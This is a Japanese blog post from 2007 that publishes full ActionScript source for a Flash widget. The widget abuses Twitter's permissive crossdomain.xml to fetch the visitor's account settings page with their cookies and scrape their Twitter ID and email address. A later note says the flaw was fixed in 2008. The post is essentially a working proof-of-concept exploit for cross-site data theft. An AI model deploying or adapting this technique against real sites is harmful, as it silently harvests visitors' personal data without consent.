2007年11月13日
ついったー足あとちょう
ついったーの ID とメールアドレスを抜き出すよ!
(追記)2008/3/9 18:00 crossdomain.xml が修正されて、抜き出せなくなったようです…。
ソースはこんなの!(61行)
package { import flash.display.Sprite; import flash.events.Event; import flash.text.*; import flash.net.*; [SWF(width="400", height="100", backgroundColor="#ffffff")] public class TwitterTracker extends Sprite { private var textField:TextField; public function TwitterTracker() { stage.scaleMode = "noScale"; stage.align = "TL"; var tf:TextFormat = new TextFormat(); tf.size = 15; textField = new TextField(); textField.wordWrap = true; textField.multiline = true; textField.defaultTextFormat = tf; textField.text = "loading..."; textField.width = 400; addChild(textField); var loader:URLLoader = new URLLoader(); loader.addEventListener(Event.COMPLETE, completeHandler); loader.addEventListener("ioError", errorHandler); loader.load(new URLRequest("http://twitter.com/account/settings")); } private function completeHandler(event:Event):void { var loader:URLLoader = URLLoader(event.target); var html:String = loader.data; if(html.indexOf('value="Sign In"') != -1) { // logged out textField.text = "ついったーにはログインしてないみたい。\nYou are not logged in to Twitter!!"; } else { // login var idMatch:Array = html.match(/<input\s+id="user_screen_name"[^>+]+value="([^"]+)"/); var emailMatch:Array = html.match(/<input\s+id="user_email"[^>]+value="([^"]+)"/); if(idMatch && emailMatch) { var id:String = idMatch[1]; var email:String = emailMatch[1]; textField.htmlText = "ついったーID は <font color='#ff0000'><b>" + id + "</b></font> だね。<br>" + "E-mail は <font color='#008000'><b>" + email + "</b></font> だよね。"; } else { textField.text = "no match:" + idMatch + ":" + emailMatch; } } } private function errorHandler(event:Event):void { textField.text = "Error!!!: " + event.toString(); } } }
いちおう補足しておくと、Cookie を抜いたわけではなくて、Cookie つきで twitter.com に GET した結果の HTML をパースしてるだけだよ。crossdomain.xml はすごいね!